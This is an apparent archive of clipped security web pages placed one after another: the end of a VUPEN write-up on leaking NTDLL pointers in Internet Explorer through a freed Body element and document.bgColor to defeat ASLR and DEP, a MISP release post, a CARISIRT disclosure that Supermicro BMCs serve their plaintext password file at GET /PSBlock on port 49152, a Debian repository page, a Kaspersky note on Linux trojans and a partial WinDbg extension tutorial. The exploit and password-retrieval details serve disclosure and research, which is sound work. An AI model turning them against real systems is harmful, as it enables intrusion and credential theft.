 .text:63B67540 call CDocument::Markup\(void\)  
 .text:63B67545 lea esi, \[esp+18h+var\_10\]  
 .text:63B67549 mov ecx, eax  
 .text:63B6754B call CMarkup::GetBodyElement\(\)     // return a pointer to a
_CBodyElement_  
 .text:63B67550 test eax, eax  
 .text:63B67552 js loc\_63B675E3  
 ...  
 .text:63B6756D loc\_63B6756D:  
 .text:63B6756D mov eax, \[esp+18h+var\_10\]  
 .text:63B67571 mov ecx, \[eax+1Ch\]  
 .text:63B67574 call CTreeNode::GetFancyFormat\(\) // return a color structure
from a _CTreeNode_  
 .text:63B67579 mov ecx, \[eax+14h\]  
 .text:63B6757C mov eax, \[eax+18h\]  
   
---  
As we can see, "_CTreeNode::GetFancyFormat\(\)_ " does not need any _vTable_ :  

   
 .text:63992957 mov esi, ecx  
 .text:63992959 movzx eax, word ptr \[esi+40h\]      // esi is a _CTreeNode_  
 .text:6399295D test ax, ax  
 .text:63992960 js loc\_63842B1E  
 .text:63992966 mov ecx, \[esi+50h\]  
 .text:63992969 mov edx, \[ecx+80h\]  
 .text:6399296F mov ecx, \[edx+2Ch\]  
 .text:63992972 cwde  
 .text:63992973 lea eax, \[eax+eax\*2\]  
 .text:63992976 mov eax, \[ecx+eax\*4\]                  // return this
pointer  
   
---  
The resulting color will next be returned to JavaScript as a string:

   
 .text:63B675CA push 8  
 .text:63B675CC pop eax  
 .text:63B675CD push 0  
 .text:63B675CF mov \[edi\], ax                         // edi points to a
_VT\_String_ object  
 .text:63B675D2 push 7                                   // return the result
under the form \#%02x%02x%02X \(\#RGB\)  
 .text:63B675D4 add edi, eax  
 .text:63B675D6 lea ecx, \[esp+20h+var\_10\]  
 .text:63B675DA call CColorValue::FormatBSTR\(\)  
   
---  
To exploit this function, we first free the _Body_ element, allocate a string
there, and call _document.bgColor_. Since a color is defined as an RGB
triplet, only 3 bytes can be leaked with this method. The fourth byte is a
flag used to indicate how to parse the color. When set to 0, the application
assumes that the previous 3 bytes form the RGB triplet. This is enough to get
the NTDLL's pointers\! On 32bit systems, we leak the dword at 0x7FFE02F1 +
0x14. On 64bit systems, another dword is leaked:

<img src='img/Temp2_8819.png' width='446' height='55' />  
**NTDLL leaked** **pointers on Windows 7 x86**

In this case, the returned color is \#70F077 which is a light green. We can
then use the pointer in a ROP and bypass both ASLR and DEP without using any
third-party plug-in except default IE modules\!

_© Copyright VUPEN Security_ _  
  
_

# MISP 2.4.82 released \(aka improved pub-sub ZMQ\)

**Created:**| _11/23/2017 9:28:00 AM_  
---|---  
**Updated:**| _11/23/2017 9:28:00 AM_  
**Author:**| _wishi_  
**Tags:**| _Memory forensics awesome siem_  
  

  

## MISP 2.4.82 released \(aka improved pub-sub ZMQ\)

Posted 10 Nov 2017

<img src='img/Temp2_5009.png' width='105' height='77' />

A new version of MISP 2.4.82 has been released including an improved publish-
subscribe ZMQ format, improvements in the feeds system, sightings are now
ingested and synchronised among MISP instances, many bug fixes and export
improvements.

MISP includes a nifty real-time publish-subscribe system to notify subscribers
on any updates on a MISP instance. 2.4.82 introduced new channels and expanded
format to deliver additional information to the subscribers. The system can be
used to feed stream processing automation systems \(e.g. IntelMQ\), real-time
SIEM interaction , monitoring or custom applications. As an example, we
developed a complete dashboard application called misp-dashboard which solely
relies on the publish-subscribe ZMQ feature to allow for a geolocalised view,
historical searches of geographical information and a contributor dashboard
which is the first version of the gamification project in MISP to promote
information sharing \(a separate post will come soon\).

MISP ZMQ has new channels especially related to MISP objects in addition to
events and attributes.

CSV export has been improved to allow the selection of columns to be included
in the export. CSV is still the most commonly exported format used and we had
feedback from various organisations relying on CSV requesting enhancements to
the export format.

The old legacy CSV export will work as before like exporting all attributes:

[code]

    GET https://<misp-instance>/events/csv/download/<event-id>
    
[/code]

The new export format allows to select more columns using the following query
format:

[code]

    GET https://<misp-instance>/events/csv/download/<event-id>?attributes=timestamp,type,uuid,value
    
[/code]

The order of columns will be honoured including those related to object level
information.

To select object level columns, simply pre-pend the given object column’s name
by object\_, such as:

[code]

    GET https://<misp-instance>/events/csv/download/<event-id>?attributes=timestamp,type,uuid,value&object_attributes=uuid,name
    
[/code]

The following columns will be returned \(all columns related to objects will
be prefixed with object\_\):

`timestamp,type,uuid,value,object_uuid,object_name`

includeContext option includes the tags for the event for each line.

The STIX 2.0 export has been improved to include custom objects, Person object
included in Identity SDO, tool SDO now includes exploit-kit from MISP galaxy
and all the galaxy which can be mapped, course-of-action SDO added. Export
code has been improved to cope with the utter complex mess of STIX patterning
standard.

The STIX 1.x export now includes reporter in STIX incident and producer in
STIX indicator and MISP TLP Marking as STIX tlpMarking. File objects are now
included in STIX 1.x export.

The MISP feed format has been improved to include objects, attribute tags and
object references. The format has been also significantly improved with a
quick-hash-list to perform fast lookups and improve the MISP caching
mechanisms for large feeds. If you rely on the feed generator in PyMISP, feed-
generator has been updated.

The feed preview in MISP has been improved to include the objects and support
the new feed format.

The full change log is available here. PyMISP change log is also available.

MISP galaxy, objects and taxonomies were notably extended by many
contributors. These are also included by default in MISP. Don’t forget to do a
`git submodule update` and update galaxies, objects and taxonomies via the UI.

For the MISP users joining the Borderless Cyber Conference and Technical
Symposium / 6-8 Dec 2017 / Prague, we will do a MISP training on the 8th
December.

  

# CARISIRT: Yet Another BMC Vulnerability \(And some added extras\) | CARI.net Blog
**Created:**| _6/24/2014 9:59:24 AM_  
---|---  
**Updated:**| _6/24/2014 9:59:24 AM_  
**Author:**| __  
**Tags:**| _ipmi_  
  

# CARISIRT: Yet Another BMC Vulnerability \(And some added extras\)

46 Replies

After considering the matter for the past 6 months while continuing to work
with Supermicro on the issues, I have decided to release the following to
everyone. On 11/7/2013, after reading a couple articles on the problems in
IPMI by Rapid7’s HD Moore \(linked at the end\), I discovered that Supermicro
had created the password file PSBlock in plain text and left it open to the
world on port 49152.

If you take a look at the /nv directory, you will find the file
IPMIdevicedesc.xml file; a file which was already known to be downloaded via
the aforementioned port. You can quite literally download the BMC password
file from any UPnP enabled Supermicro motherboard running IPMI on a public
interface \(reference link at the bottom of this article\). This is not the
only file that is vulnerable to this. All the contents of the /nv/ directory
are accessible via browser including the server.pem file, the wsman admin
password and the netconfig files. When I attempted to reach out to Supermicro
, the standard response received was that the UPnP issue had already been
patched with the newest IPMI BIOS version. However, flashing a system is not
always a possibility.

After my previous attempts to gain forward momentum with this issue had
failed, and after getting the advice to release from several other security
professionals, I reached out to one John Matherly \(Shodan\) and discussed
with him what I had found. Being the awesome person that he is, he provided
data on every host that was responding to a web request on port 49152 and the
response to “GET /PSBlock”. I was blown away by the results \(below\):

Total Hosts responding to web requests on port 49152: 9,867,259

Vulnerable Systems: 31,964

_\(Now keep in mind that not everything responding on port 49152 is a
Supermicro product. As it turns out, many products use the embedded UPNP
software by default, but let’s get through Supermicro first\)_

This means at the point of this writing, there are 31,964 systems that have
their passwords available on the open market. It gets a bit scarier when you
review some of the password statistics. Out of those passwords, 3296 are the
default combination. Since I’m not comfortable providing too much password
information, I will just say that there exists a subset of this data that
either contains or just was “password”.

Besides flashing, there is another \(albeit unsupported\) temporary fix. Most
of the systems affected by this particular issue also have their “sh” shell
accessible from the SMASH command line. If you login to the SMASH via ssh and
run the command “shell sh”, you can drop into a functional SH shell. From
there you can actually kill all “upnp” processes and their related children,
which provides a functional fix. That is of course until the system is
completely disconnected from power and reconnected, during which the IPMI
module will reboot. This is what I have done for our own systems that were
unable to be permanently fixed at this time. After continual monitoring, I am
satisfied with the results and there has not been any noticeable impact on
functionality.

So what are the rest of those IPs? Why are 9.8 million devices using port
49152, which is one port above the registered port range \(1024-49151\)? There
are another 9,835,313 that have port 49152 open and are returning something
from an HTTP GET request. It appears that many systems that employ an embedded
Linux-based solution \(i.e., home routers, remote management devices, and IP
cameras\) have varying iterations of the UPnP feature set installed. This
causes them to broadcast their kernel and often times the hardware
architecture. Take for instance this string from all vulnerable Supermicro BMC
\(Baseboard Management Controller\) products: Linux/2.6.17.WB\_WPCM450.1.3.
The kernel version is 2.6.17, which was compiled for the Nuvoton’s WPCM450
chip. If you combine this knowledge with a search database for online devices,
such as John Matherly’s interface located at shodanhq.com, embedded host
identification becomes a breeze.

Another very disturbing discovery was that a lot of systems are running older
versions of the Linux kernel. Approximately 23,380 of the total hosts are
running the 2.4.31.x kernel, another 112,883 are running the 2.4.30.x kernel,
and 710,046 systems are running the 2.4.19.x kernel. The largest number of
systems responding to an HTTP GET request were systems running under the
banner of AT&T U-Verse with a total of 6,448,716. However, they do not
broadcast any information, and they respond with the HTTP code “200 OK”.

So what do we do? Is it our fault as consumers/businesses for trusting our
vendors, or is it our vendors’ fault for ‘being human’? Short answer, none of
the above, but the longer answer is a bit more complicated. Sure, a password
should never be in plain text, and nor should any feature set be hardcoded
into an embedded product if its features serve no functional purpose, but we
do not live in a perfect world. Things have a way of slipping through the
cracks, even by the most diligent of companies. Supermicro , to its credit, no
longer employs the WPCM450 chips. With the release of their newer X10 series
motherboards, they have replaced the aging WPCM450 BMC with the ASPEED AST2400
BMC product with a newer kernel version.

It is time to call for stronger security of embedded platforms. With the
advent of services like shodanhq.com, and research operations such as Rapid7’s
Project Sonar, devices can no longer dwell amongst the anonymity of the nearly
4.3 billion IPv4 addresses. Recent findings on the above platforms have proven
everything is visible. With the advent of IPv6 and the ‘Internet of Things’,
we as both customers and vendors need to ensure the security of our networks
and connected devices.

To protect ourselves, I have found that the best solution is to keep informed
and stay involved. If you find a vulnerability, reach out to the respective
vendor first. If the vendor is unresponsive or does not share your urgency,
there are organizations such as the US Department of Homeland Security’s
Computer Emergency Readiness Team \(US-CERT\) and the MITRE Corporation who
will assist. If they determine the issue does not meet their criteria for
assistance, try subscribing to a security-minded mailing list and see if
somebody there will assist you. As for the devices you have around your home
or workplace, an interesting adventure is to search them and append the word
“vulnerability”. You’ll be amazed by the results. As for staying informed, I
personally suggest the use of packetstormsecurity.org and isc.sans.edu, as
well as subscribing to the os-security mailing list. And finally, keep your
device firmware up-to-date. Security is no longer something left to the
professionals; it needs to be a part of our daily internet lives.

Finally, I want to thank HD Moore \(Rapid7\), John Matherly\(Shodan\), Kurt
Seifried\(Red Hat\), and Dan Farmer \(fish2.com or trouble.org\) for their
support in this and making this possible. If you want more information
regarding the history of IPMI vulnerabilities as whole, I strongly suggest you
read the material located at Dan Farmer’s IPMI research page, found in the
references section below. On the Supermicro side, the Sr. Product Manager Arun
Kalluri has been an incredible resource in gathering information on what
Supermicro has done in light of this issue, and has provided a link to other
known issues in the BMC product \(which is in the articles reference\). I have
contacted MITRE’s cve-assign group, who has also worked with Supermicro on
this matter. To date, no CVE has been assigned. The team at Metasploit will be
releasing a module for the PSBlock and wsman password retrieval shortly, so be
on the lookout\!

I would love to hear your thoughts on this, so please leave a comment or shoot
us an email\! If you have any questions, concerns, or if you would like more
information, please contact our security team at sirt@cari.net and we will get
back to you shortly.

Regards,

Zachary Wikholm  
Senior Security Engineer  
Security Incident Response Team \(CARISIRT\)  
CARI.net  
sirt@cari.net

Articles & Reference Material:

https://community.rapid7.com/community/metasploit/blog/2013/07/02/a-penetration-
testers-guide-to-ipmi

https://community.rapid7.com/community/metasploit/blog/2013/11/06/supermicro-
ipmi-firmware-vulnerabilities

http://www.supermicro.com/FAQ/index.aspx?&se=16536&k=y

http://www.supermicro.com/products/nfo/files/IPMI/CVE\_Update.pdf

http:/fish2.com/ipmi

This entry was posted in CARI.net Articles, Linux, Security on June 19, 2014
by Zach W.

# How to… Render SSL Useless

**Created:**| _2/20/2010 4:20:03 PM_  
---|---  
**Updated:**| _2/20/2010 4:20:26 PM_  
**Author:**| __  
**Tags:**| _security tools web crypto_  
  
<img src='img/Temp2_4126' />

# Index of /debian

**Created:**| _3/18/2011 5:11:37 PM_  
---|---  
**Updated:**| _3/18/2011 5:11:37 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

# Index of /debian

<img src='img/blank.gif' alt='[ICO]' />| Name| Last modified| Size|
Description  
---|---|---|---|---  
* * *  
<img src='img/back.gif' alt='[DIR]' />| Parent Directory|  | -  
<img src='img/5700_text.gif' alt='[TXT]' />| README.html| 05-Jun-2010 16:44|
1.5K  
<img src='img/folder.gif' alt='[DIR]' />| devel/| 21-Feb-2011 23:02| -  
* * *  
These are Debian/Ubuntu package repositories. New packages are built nightly
\(if new changes are available\). Pick the branch + version + architecture you
want and add it to your sources.list, similar to this:

[code]

    deb http://code.bitlbee.org/debian/devel/testing/amd64/ ./
    
[/code]

You can add the signing key \(signed by E3304051, wilmer@gaast.net, which has
a pretty reasonable trust path\) to your apt configs by copy-pasting the
following into a shell window:

[code]

    sudo apt-key add - << EOF
    -----BEGIN PGP PUBLIC KEY BLOCK-----
    Version: GnuPG v1.4.9 (GNU/Linux)   
    
    mQGiBEv++B4RBACR8PCXpBRByIPMY2DxbqUP8LfVNRfgg7X2P4Z0e+zeYHujB0hJ
    P6vOW/QmeYSuDzFVH3oOJsC+kaTExf2Rl0/Bm3X4GRkw6XJME/3HR7P0rNCCvqgD
    QYOlhmP4qYEi0z6q9WslhqeYzilB/opsQTR/11zUjw5TGp1P/4rcCa0/6wCg87c/
    BOP6XR64zQBD5rBcCzNeL0cD/iFE97JFAYIRHOiYjpgq0/pZ/PoMrULpiyq6+BPo
    8YdcuRYdFYDC5Ghmmk0VDIf5knDdsSIA5+tJTHTiKpuHZ7JKx3aJ/HzuAHlG3RaV
    eLTl0HvkxWis/ORsjyvztlVtbHy0vVVRaWriVq76MicpdIqY1tcRvmm38j7X+Ois
    mcO1A/wNYgJyr0pHvj52T2iosKUHu2TFqVf9sWV0n+kFI1g/aG4oHWbevcrsnbtW
    +3t80BNbWAA5zlN6Bdv1MRrFJzogyJK5ao1/Y2uF4wvD64EEKgA91riHKnOSuKo2
    wCccja/CqLovaAN6dvNQ5OapuH+xuc+4IsPxPNCOUQ4TL0V6vbQ9Qml0bEJlZSBu
    aWdodGx5IGJ1aWxkcyAuZGVicyBzaWduaW5nIGtleSA8YnVpbGRkQGJpdGxiZWUu
    b3JnPohmBBMRAgAmBQJL/vgeAhsDBQkDwmcABgsJCAcDAgQVAggDBBYCAwECHgEC
    F4AACgkQlO6h8sflBDZeaACfdSPK318+gnHjvFjNf0jEdomEnooAn0O5FizmFHny
    PBaPjwdPZ6YyRfK5iEYEEBECAAYFAkv++0YACgkQeYWXmuMwQFExdQCdHbhFwQJ4
    4HUdjxPZlPOt3iH9MZ8AoKm88QvS4dCuYmMt9KZ6oDKyCD5l
    =Ktl0
    -----END PGP PUBLIC KEY BLOCK-----
    EOF
    
[/code]

# Viruslist.com - Analyst's Diary

**Created:**| _5/16/2009 10:23:16 AM_  
---|---  
**Updated:**| _5/16/2009 10:23:32 AM_  
**Author:**| __  
**Tags:**| _security tools Malware-analysis_  
  

# Analyst's Diary

### The myth of \*nix security  
---  
<img src='img/Temp2_8926.gif' width='1' height='1' />  
  
---  
**Sergey Golovanov** |  May 15, 2009 | 16:23 GMT | **comment <img src='img/Temp2_8925.gif' width='6' height='6' />**  
---|---|---  
It’s often argued that \*nix systems are secure, and there aren’t any viruses
or malware for such systems. This hasn’t been true for a long time, as two
recently detected malicious programs prove.

The first is Trojan-Mailfinder.Perl.Hnc.a, a perl script which connects to a
command server to get text and a recipient list for spam mailings.

<img src='img/Temp2_8922.gif' width='400' height='229' />

The second program is Trojan-Dropper.Linux.Prl.a, an executable for Linux and
FreeBSD. The file decrypts the perl script, launches the perl interpreter and
then gives it the decrypted script.

<img src='img/Temp2_8924.gif' width='400' height='168' />

  
  
This malware has been detected on servers infected with Trojan-
Downloader.JS.Iframe.auy \(shown in the screenshot below\).

<img src='img/Temp2_8927.gif' width='400' height='278' />

This redirects site visitors to a site that will download exploits and other
malicious programs in the guise of a video codec:

<img src='img/Temp2_8923.gif' width='400' height='200' />

The site which spreads spam also contains a page advertising a rogue antivirus
which claims it will clean the user’s computer for $60. \(We classify the
rogue app as not-a-virus:FraudTool.Win32.MalwareDoctor.e\):

<img src='img/Temp2_8928.gif' width='400' height='266' />

At the moment we know of around 1000 cases of sites infected with Trojan-
Downloader.JS.Iframe.auy. There are also several hundred servers infected with
Trojan-Mailfinder.Perl.Hnc.a and Trojan-Dropper.Linux.Prl.a, which are
actively spreading spam.

The days of \*nix systems not being targeted by malware writers are long gone.
In my view, admins need to wake up; they should be on top of all of today’s
threats, rather than letting their systems – and worse, visitors to their
sites – get infected. Shame on you, guys.

# Debug Tutorial Part 4: Writing WINDBG Extensions - CodeProject®

**Created:**| _12/28/2011 3:19:52 PM_  
---|---  
**Updated:**| _12/28/2011 3:19:52 PM_  
**Author:**| __  
**Tags:**| _windbg_  
  

## Introduction

Welcome to the fourth installment of this debugging series. In this
installment, we will be getting a bit away from actual debugging for a bit and
dive into creating helpful debugging aids. I definitely would never condone
writing debugging aids just to write them. I would find a reason to write
something, perhaps something you do all the time that gets tedious. Once you
have found something you would love to automate, I would then see how you
could automate it.

This is what I have done. During my debugging escapades, I **always** search
the stack and other locations for strings. Why do I do this? People are not
computers, we understand language rather than numbers. This being the case, a
lot of applications and even drivers are written based upon strings. I would
not say everything is a string, but there's usually a string somewhere. If you
think about it, you really don't need strings at all. We could all just use
numbers and never use another string again. Some may think well, when you
expose a UI of course, you're going to eventually run into a string
somewhere... Well, doesn't have to be that way, now does it? I mean, I'm not
even talking about just User Interfaces, I'm talking about the guts of
programs that aren't even exposed to the user at all. Programmers are still
human and like to talk in some language beyond binary. This being the case,
even the internals of applications sometimes use strings to represent things.
You can find strings just about anywhere, even in drivers.

## So There're Strings, So What?

Well, they provide an added level of readability to an application. This is
the first rule of thumb, perhaps if you could find a string somewhere on the
stack, you could better track down what the application is doing. These
strings could be environment strings, file names, device names \(COM1,
_\Device\xxxx_ , etc.\), names of other objects, user names, GUIDs, etc. This
information can better help track down what the application is doing and where
it could be in your program.

Another interesting concept is, I don't know this for a fact, but it's my
belief that the most common buffer overruns are due to invalid string
manipulations. Whether it be forgetting the `NULL` character, or misjudging
allocation since an API returns \# of characters and not \# of bytes. If a
string overwrote memory in your program and you can find the string, it's a
lot easier to track down who created it.

## Where do we start?

I start on the stack. I have a trap, the first thing I do after "KB" and "DDS
ESP" would then be to use "DC ESP". This command dumps the `DWORD`s on one
side and the printable characters on the other. Let's see an example of this:

[code]

    0:000> dc esp
    0006febc  77d43a09 77d43c7d 0006fefc 00000000  .:.w}<.w........
    0006fecc  00000000 00000000 00000000 0006ff1c  ................
    0006fedc  010028e4 0006fefc 00000000 00000000  .(..............
    0006feec  00000000 00000000 77e7ad86 00091ee7  ...........w....
    0006fefc  001a03e4 00000118 0000ffff bf8a75ed  .............u..
    0006ff0c  0768a2ca 00000229 00000251 00000000  ..h.)...Q.......
    0006ff1c  0006ffc0 01006c54 01000000 00000000  ....Tl..........
    0006ff2c  00091ee7 0000000a 00000000 00000000  ................
    0:000> dc
    0006ff3c  7ffdf000 80543940 f544fc5c 00000044  ....@9T.\.D.D...
    0006ff4c  00092b28 00092b48 00092b70 00000000  (+..H+..p+......
    0006ff5c  00000000 00000000 00000000 00000000  ................
    0006ff6c  00000000 00000000 00000000 00000000  ................
    0006ff7c  00000000 ffffffff ffffffff ffffffff  ................
    0006ff8c  00091ee7 00000000 00000001 00272620  ............ &'.
    0006ff9c  00272d00 00000000 00000000 0006ff34  .-'.........4...
    0006ffac  e24296d0 0006ffe0 01006d14 01001888  ..B......m......
    0:000>
    0006ffbc  00000000 0006fff0 77e814c7 00000000  ...........w....
    0006ffcc  00000000 7ffdf000 f544fcf0 0006ffc8  ..........D.....
    0006ffdc  80534504 ffffffff 77e94809 77e91210  .ES......H.w...w
    0006ffec  00000000 00000000 00000000 01006ae0  .............j..
    0006fffc  00000000 78746341 00000020 00000001  ....Actx .......
    0007000c  00000654 0000007c 00000000 00000020  T...|....... ...
    0007001c  00000000 00000014 00000001 00000003  ................
    0007002c  00000034 000000ac 00000001 00000000  4...............
    0:000>
    0007003c  00000000 00000000 00000000 00000000  ................
    0007004c  00000002 00000000 00000000 00000000  ................
    0007005c  00000168 00000190 00000000 2d59495b  h...........[IY-
    0007006c  000002f8 00000032 0000032c 000002b8  ....2...,.......
    0007007c  00000010 00000002 0000008c 00000002  ................
    0007008c  00000001 000000ac 00000538 00000001  ........8.......
    0007009c  00000002 000005e4 00000070 00000001  ........p.......
    000700ac  64487353 0000002c 00000001 00000001  SsHd,...........
    0:000>
    000700bc  00000003 00000002 0000008c 00000001  ................
    000700cc  00000000 0000002c 0000005e 0000005e  ....,...^...^...
    000700dc  00000000 00000000 00000000 00000000  ................
    000700ec  00000000 00000000 00000000 00000000  ................
    000700fc  00000000 00000002 00000028 00000034  ........(...4...
    0007010c  003a0043 0057005c 004e0049 004f0044  C.:.\.W.I.N.D.O.
    0007011c  00530057 0030002e 0057005c 006e0069  W.S...0.\.W.i.n.
    0007012c  00780053 005c0073 00000000 00000000  S.x.s.\.........
[/code]

I started _notepad.exe_ and just broke into it, then dumped the stack of the
primary \(and only\) thread. The strings on the stack are "local arrays", such
as declaring `char x[10];` in your function. These aren't the only strings in
a program though. There are others and these others are stored in pointers
that are declared as local variables and even passed to functions such as
`CreateFile`. The first parameter of `CreateFile` takes a string.

So, what do I usually do? I then search the stack for memory locations which
could be strings and I then do "DC" again on them or "DA" for Dump ANSI string
or "DU" for Dump Unicode String. The problem with this is that it's slow and
tedious. I could not find any debugger command to do this for me \(if there is
one, let me know\), so I ended up writing my own.

## Writing Your Own?

WINDBG supports DLLs created by anyone as long as they export functions and
behave in a manner defined by Microsoft. This means you can write PLUGINS\! It
used to be that people would write plug-ins to \!<mydatastructure> <address>
which basically dumped the members of their data structure along with the
names. However, WINDBG supports the "dt" command that if you have a PDB
\(symbol file\) it can do this for you without writing any code\! Let's see an
example of this.

Using the "dt <yourdll>\!<your data structure>" will dump the structure's
content along with their names. Let's look at a quick example.

[code]

    0:000> dt ntdll!_PEB
       +0x000 InheritedAddressSpace : UChar
       +0x001 ReadImageFileExecOptions : UChar
       +0x002 BeingDebugged    : UChar
       +0x003 SpareBool        : UChar
       +0x004 Mutant           : Ptr32 Void
       +0x008 ImageBaseAddress : Ptr32 Void
       +0x00c Ldr              : Ptr32 _PEB_LDR_DATA
       +0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
       +0x014 SubSystemData    : Ptr32 Void
       +0x018 ProcessHeap      : Ptr32 Void
       +0x01c FastPebLock      : Ptr32 _RTL_CRITICAL_SECTION
       +0x020 FastPebLockRoutine : Ptr32 Void
       +0x024 FastPebUnlockRoutine : Ptr32 Void
       +0x028 EnvironmentUpdateCount : Uint4B
       +0x02c KernelCallbackTable : Ptr32 Void
       +0x030 SystemReserved   : [1] Uint4B
       +0x034 ExecuteOptions   : Pos 0, 2 Bits
       +0x034 SpareBits        : Pos 2, 30 Bits
       +0x038 FreeList         : Ptr32 _PEB_FREE_BLOCK
       +0x03c TlsExpansionCounter : Uint4B
       +0x040 TlsBitmap        : Ptr32 Void
       +0x044 TlsBitmapBits    : [2] Uint4B
       +0x04c ReadOnlySharedMemoryBase : Ptr32 Void
       +0x050 ReadOnlySharedMemoryHeap : Ptr32 Void
       +0x054 ReadOnlyStaticServerData : Ptr32 Ptr32 Void
       +0x058 AnsiCodePageData : Ptr32 Void
       +0x05c OemCodePageData  : Ptr32 Void
       +0x060 UnicodeCaseTableData : Ptr32 Void
       +0x064 NumberOfProcessors : Uint4B
       +0x068 NtGlobalFlag     : Uint4B
       +0x070 CriticalSectionTimeout : _LARGE_INTEGER
       +0x078 HeapSegmentReserve : Uint4B
       +0x07c HeapSegmentCommit : Uint4B
       +0x080 HeapDeCommitTotalFreeThreshold : Uint4B
       +0x084 HeapDeCommitFreeBlockThreshold : Uint4B
       +0x088 NumberOfHeaps    : Uint4B
       +0x08c MaximumNumberOfHeaps : Uint4B
       +0x090 ProcessHeaps     : Ptr32 Ptr32 Void
       +0x094 GdiSharedHandleTable : Ptr32 Void
       +0x098 ProcessStarterHelper : Ptr32 Void
       +0x09c GdiDCAttributeList : Uint4B
       +0x0a0 LoaderLock       : Ptr32 Void
       +0x0a4 OSMajorVersion   : Uint4B
       +0x0a8 OSMinorVersion   : Uint4B
       +0x0ac OSBuildNumber    : Uint2B
       +0x0ae OSCSDVersion     : Uint2B
       +0x0b0 OSPlatformId     : Uint4B
       +0x0b4 ImageSubsystem   : Uint4B
       +0x0b8 ImageSubsystemMajorVersion : Uint4B
       +0x0bc ImageSubsystemMinorVersion : Uint4B
       +0x0c0 ImageProcessAffinityMask : Uint4B
       +0x0c4 GdiHandleBuffer  : [34] Uint4B
       +0x14c PostProcessInitRoutine : Ptr32
       +0x150 TlsExpansionBitmap : Ptr32 Void
       +0x154 TlsExpansionBitmapBits : [32] Uint4B
       +0x1d4 SessionId        : Uint4B
       +0x1d8 AppCompatFlags   : _ULARGE_INTEGER
       +0x1e0 AppCompatFlagsUser : _ULARGE_INTEGER
       +0x1e8 pShimData        : Ptr32 Void
       +0x1ec AppCompatInfo    : Ptr32 Void
       +0x1f0 CSDVersion       : _UNICODE_STRING
       +0x1f8 ActivationContextData : Ptr32 Void
       +0x1fc ProcessAssemblyStorageMap : Ptr32 Void
       +0x200 SystemDefaultActivationContextData : Ptr32 Void
       +0x204 SystemAssemblyStorageMap : Ptr32 Void
       +0x208 MinimumStackCommit : Uint4B
    0:000>
[/code]

We just dumped out the structure information for the `_PEB` structure defined
by Windows. We will now attempt to find our PEB and dump this address.

[code]

    0:000> !teb
    TEB at 7ffde000
        ExceptionList:        0006ffb0
        StackBase:            00070000
        StackLimit:           0005f000
        SubSystemTib:         00000000
        FiberData:            00001e00
        ArbitraryUserPointer: 00000000
        Self:                 7ffde000
        EnvironmentPointer:   00000000
        ClientId:             00000b80 . 00000f40
        RpcHandle:            00000000
        Tls Storage:          00000000
        **PEB Address:          7ffdf000**
        LastErrorValue:       0
        LastStatusValue:      c0000034
        Count Owned Locks:    0
        HardErrorMode:        0
    0:000> dt ntdll!_PEB 7ffdf000
       +0x000 InheritedAddressSpace : 0 ''
       +0x001 ReadImageFileExecOptions : 0 ''
       +0x002 BeingDebugged    : 0x1 ''
       +0x003 SpareBool        : 0 ''
       +0x004 Mutant           : 0xffffffff
       +0x008 ImageBaseAddress : 0x01000000
       +0x00c Ldr              : 0x00191ea0
       +0x010 ProcessParameters : 0x00020000
       +0x014 SubSystemData    : (null)
       +0x018 ProcessHeap      : 0x00090000
       +0x01c FastPebLock      : 0x77fc49e0
       +0x020 FastPebLockRoutine : 0x77f5b2a0
       +0x024 FastPebUnlockRoutine : 0x77f5b380
       +0x028 EnvironmentUpdateCount : 1
       +0x02c KernelCallbackTable : 0x77d42a38
       +0x030 SystemReserved   : [1] 0
       +0x034 ExecuteOptions   : 0y00
       +0x034 SpareBits        : 0y000000000000000000000000000000 (0)
       +0x038 FreeList         : (null)
       +0x03c TlsExpansionCounter : 0
       +0x040 TlsBitmap        : 0x77fc4680
       +0x044 TlsBitmapBits    : [2] 0x7ff
       +0x04c ReadOnlySharedMemoryBase : 0x7f6f0000
       +0x050 ReadOnlySharedMemoryHeap : 0x7f6f0000
       +0x054 ReadOnlyStaticServerData : 0x7f6f0688  -> (null)
       +0x058 AnsiCodePageData : 0x7ffb0000
       +0x05c OemCodePageData  : 0x7ffc1000
       +0x060 UnicodeCaseTableData : 0x7ffd2000
       +0x064 NumberOfProcessors : 1
       +0x068 NtGlobalFlag     : 0x70
       +0x070 CriticalSectionTimeout : _LARGE_INTEGER 0xffffe86d`079b8000
       +0x078 HeapSegmentReserve : 0x100000
       +0x07c HeapSegmentCommit : 0x2000
       +0x080 HeapDeCommitTotalFreeThreshold : 0x10000
       +0x084 HeapDeCommitFreeBlockThreshold : 0x1000
       +0x088 NumberOfHeaps    : 5
       +0x08c MaximumNumberOfHeaps : 0x10
       +0x090 ProcessHeaps     : 0x77fc5a80  -> 0x00090000
       +0x094 GdiSharedHandleTable : 0x00360000
       +0x098 ProcessStarterHelper : (null)
       +0x09c GdiDCAttributeList : 0x14
       +0x0a0 LoaderLock       : 0x77fc1774
       +0x0a4 OSMajorVersion   : 5
       +0x0a8 OSMinorVersion   : 1
       +0x0ac OSBuildNumber    : 0xa28
       +0x0ae OSCSDVersion     : 0x100
       +0x0b0 OSPlatformId     : 2
       +0x0b4 ImageSubsystem   : 2
       +0x0b8 ImageSubsystemMajorVersion : 4
       +0x0bc ImageSubsystemMinorVersion : 0
       +0x0c0 ImageProcessAffinityMask : 0
       +0x0c4 GdiHandleBuffer  : [34] 0
       +0x14c PostProcessInitRoutine : (null)
       +0x150 TlsExpansionBitmap : 0x77fc4660
       +0x154 TlsExpansionBitmapBits : [32] 0
       +0x1d4 SessionId        : 0
       +0x1d8 AppCompatFlags   : _ULARGE_INTEGER 0x0
       +0x1e0 AppCompatFlagsUser : _ULARGE_INTEGER 0x0
       +0x1e8 pShimData        : (null)
       +0x1ec AppCompatInfo    : (null)
       +0x1f0 CSDVersion       : _UNICODE_STRING "Service Pack 1"
       +0x1f8 ActivationContextData : 0x00080000
       +0x1fc ProcessAssemblyStorageMap : 0x000929a8
       +0x200 SystemDefaultActivationContextData : 0x00070000
       +0x204 SystemAssemblyStorageMap : (null)
       +0x208 MinimumStackCommit : 0
    0:000>
[/code]

If you remember correctly, the \!teb gives you the "thread environment block".
A part of this block will show you the PEB for a process. Now, you see that
not only does it print the information contained in the data structure, it
also knows **how** to display the information based upon the type of data. Why
did I show you this? This is because of what I specified above. The first
thing people do or want to do is start to write debug extensions to dump all
their data structures and this is not feasible anymore\! You then have to keep
changing your debug code every time you add or move information around. It's
best to use the "dt" command and painlessly find all the data contained in any
of your internal data structures.

## Starting To Write The Extension

So, my proposed extension is \!dumpstrings. This will go through a memory
